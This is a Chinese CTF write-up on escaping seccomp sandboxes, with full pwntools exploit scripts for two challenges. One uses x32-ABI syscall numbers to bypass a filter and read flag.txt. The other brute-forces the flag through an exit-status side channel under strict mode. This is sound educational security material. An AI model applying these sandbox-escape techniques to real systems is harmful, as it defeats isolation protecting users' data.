由于seccomp过滤规则中没有禁用x32系统调用,那么可以直接将系统调用号加上0x40000000来绕过过滤规则:
#!/usr/bin/env python
from pwn import *
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
elf = ELF('./babypf')
context.binary = elf
ENCODING = 'ISO-8859-1'
s = lambda senddata : p.send(senddata)
sa = lambda recvdata, senddata : p.sendafter(recvdata, senddata)
sl = lambda senddata : p.sendline(senddata)
sla = lambda recvdata, senddata : p.sendlineafter(recvdata, senddata)
r = lambda numb=0x3f3f3f3f, timeout=0x3f3f3f3f : p.recv(numb, timeout=timeout)
ru = lambda recvdata, timeout=0x3f3f3f3f : p.recvuntil(recvdata, timeout=timeout)
uu32 = lambda data : u32(data, signed='unsigned')
uu64 = lambda data : u64(data, signed='unsigned')
iu32 = lambda data : u32(data, signed='signed')
iu64 = lambda data : u64(data, signed='signed')
up32 = lambda data : p32(data, signed='unsigned')
up64 = lambda data : p64(data, signed='unsigned')
ip32 = lambda data : p32(data, signed='signed')
ip64 = lambda data : p64(data, signed='signed')
local = 1
if local:
p = process([elf.path])
else:
p = remote('localhost', 8888)
#gdb.attach(p)
sh = asm('''
xor rax, rax
push rax
mov rax, 0x7478742e67616c66
push rax
mov rdi, rsp
xor rsi, rsi
mov rax, 0x40000002
syscall
mov rdi, rax
lea rsi, [rsp]
mov rdx, 0x40
mov rax, 0
syscall
mov rdi, 1
mov rdx, rax
mov rax, 1
syscall
xor rdi, rdi
mov rax, 0x3c
syscall
''')
sa('LOAD PROGRAM\n', up32(len(sh)))
s(sh)
p.interactive()
macOS
BSides-CTF-2015-Big_Prison_Fence
本题的逻辑和上一题基本一样:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int fd; // eax
int v4; // esi
int v5; // eax
int v6; // eax
int v7; // eax
void (*sh_ptr)(void); // [esp+20h] [ebp-3Ch] BYREF
_BYTE name[32]; // [esp+24h] [ebp-38h] BYREF
_BYTE *flag_1; // [esp+44h] [ebp-18h]
unsigned int len; // [esp+48h] [ebp-14h] BYREF
unsigned int v12; // [esp+4Ch] [ebp-10h]
v12 = __readgsdword(0x14u);
memset(&sh_ptr, 0, 0x2Cu);
flag_1 = flag;
fd = open("flag.txt", 0);
v4 = fd;
if ( fd >= 0 )
{
flag[read_str_1(fd, flag, 10, 50)] = 0;
close(v4);
v5 = sysconf(30);
sh_ptr = (void (*)(void))mmap(0, v5, 2, 34, 0, 0);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts(
"\n"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBB\n"
"BMB-----------------------B B\n"
"BBB- WELCOME TO THE ------BBB\n"
"BBB- UNTRUSTED COMPUTING -BBB\n"
"BBB- SERVICE -------------BBB\n"
"BBB- V2.0 ----------------BBB\n"
"BBB-----------------------BBB\n"
"BBBBBBBBBBBBBBBBBBBBBBBBBBBBB\n"
"BBBBBB++++++++++++++++BBBBBBB\n"
"BBBBBB++BBBBB+++++++++BBBBBBB\n"
"BBBBBB++BBBBB+++++++++BBBBBBB\n"
"BBBBBB++BBBBB+++++++++BBBBBBB\n"
" BBBBB++++++++++++++++BBBBBBB\n");
puts("NAME PROGRAM");
read_str_1(0, name, 10, 32);
__printf_chk(1, "ACCEPTED %s\n", name);
puts("LOAD PROGRAM");
if ( read_str(0, &len, 4u) )
{
v6 = len;
if ( len > 0x200 )
v6 = 512;
if ( read_str(0, sh_ptr, v6) )
{
v7 = sysconf(30);
mprotect(sh_ptr, v7, 5);
create_sandbox(sh_ptr);
puts("THANK YOU");
exit(0);
}
}
}
exit(1);
}
其中沙箱部分使用了SECCOMP_MODE_STRICT的过滤条件,导致我们无法从系统调用的层面上进行过滤:
- SECCOMP_MODE_STRICT:进程只能访问read、write、_exit、sigreturn系统调用
- SECCOM_MODE_FILTER:过设置bpf规则,来过滤和检查系统调用号,和系统调用参数,来决定对进程访问系统调用的处理
同时在创建子进程后关闭了当前所有的文件描述符,导致我们无法直接向STDOUT写内存中的flag。但在最后判断了子进程的状态,如果状态不对就会直接abort当前程序:
unsigned int __cdecl create_sandbox(void (*sh)(void))
{
int pid; // eax
unsigned int result; // eax
int stat_loc; // [esp+28h] [ebp-14h] BYREF
unsigned int v4; // [esp+2Ch] [ebp-10h]
v4 = __readgsdword(0x14u);
pid = fork();
if ( pid == -1 )
exit(1);
if ( !pid )
{
for ( stat_loc = 0; stat_loc <= 1023; ++stat_loc )
{
close(pid); // close all fd
pid = stat_loc + 1;
}
prctl(4, 0, 0, 0, 0);
prctl(38, 1, 0, 0, 0);
prctl(22, 1, 0, 0, 0);
sh();
abort();
}
waitpid(pid, &stat_loc, 0);
if ( (stat_loc & 0x7F) != 0 || BYTE1(stat_loc) ) // judge child status
abort();
result = __readgsdword(0x14u) ^ v4;
if ( result )
sub_F60();
return result;
}
结合main函数中输出的"THANK YOU"
,可以对flag进行爆破:
#!/usr/bin/env python3
from pwn import *
import string
context.arch = 'i386'
context.log_level = 'warning'
context.terminal = ['tmux', 'split', '-h']
elf = ELF('./bigpf')
context.binary = elf
ENCODING = 'ISO-8859-1'
s = lambda senddata : p.send(senddata.encode(ENCODING))
sa = lambda recvdata, senddata : p.sendafter(recvdata.encode(ENCODING), senddata.encode(ENCODING))
sl = lambda senddata : p.sendline(senddata.encode(ENCODING))
sla = lambda recvdata, senddata : p.sendlineafter(recvdata.encode(ENCODING), senddata.encode(ENCODING))
r = lambda numb=0x3f3f3f3f, timeout=0x3f3f3f3f : p.recv(numb, timeout=timeout).decode(ENCODING)
ru = lambda recvdata, timeout=0x3f3f3f3f : p.recvuntil(recvdata.encode(ENCODING), timeout=timeout).decode(ENCODING)
uu32 = lambda data : u32(data.encode(ENCODING), signed='unsigned')
uu64 = lambda data : u64(data.encode(ENCODING), signed='unsigned')
iu32 = lambda data : u32(data.encode(ENCODING), signed='signed')
iu64 = lambda data : u64(data.encode(ENCODING), signed='signed')
up32 = lambda data : p32(data, signed='unsigned').decode(ENCODING)
up64 = lambda data : p64(data, signed='unsigned').decode(ENCODING)
ip32 = lambda data : p32(data, signed='signed').decode(ENCODING)
ip64 = lambda data : p64(data, signed='signed').decode(ENCODING)
def bruteforce(idx, ch):
global p
local = 1
if local:
p = process([elf.path])
else:
p = remote('localhost', 8888)
sa('NAME PROGRAM\n', '0xb3a1e\n')
"""
sh = asm('''
mov al, [edi+{}]
cmp al, {}
je label
int 3
label:
mov eax, 1
xor ebx, ebx
int 0x80
'''.format(idx, ch))
"""
sh = '\x8aG{}<{}t\x01\xcc\xb8\x01\x00\x00\x001\xdb\xcd\x80'.format(chr(idx), chr(ch))
assert(len(sh) <= 0x200)
#gdb.attach(p, 'set follow-fork-mode child\nb *0x56555ec6\nc')
sa('LOAD PROGRAM\n', up32(len(sh)))
#p.send(sh)
s(sh)
try:
r = p.recv(timeout=0.01)
except EOFError:
r = ''
finally:
p.close()
return r
#print(bruteforce(0, ord('f')))
#print(bruteforce(0, ord('l')))
flag = ''
idx = 0
target = b'THANK YOU'
table = string.printable
while True:
if bruteforce(idx, 0) == target:
warning('Over')
break
else:
warning('Not the end')
for c in table:
r = bruteforce(idx, ord(c))
if r == target:
flag += c
idx += 1
warning(flag)
break
References
https://www.youtube.com/watch?v=gQXyZY7Ucjc
https://blog.betamao.me/2019/01/23/Linux%E6%B2%99%E7%AE%B1%E4%B9%8Bseccomp/
https://www.linuxidc.com/Linux/2015-02/112913.htm
https://en.wikipedia.org/wiki/Seccomp
https://atum.li/2017/04/25/linuxsandbox/#seccomp
https://veritas501.space/2018/05/05/seccomp%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
https://github.com/briansp8210/CTF-writeup/tree/master/HITCON-2017-qual/Impeccable-Artifact
https://blukat29.github.io/2017/11/hitcon-quals-2017-artifact/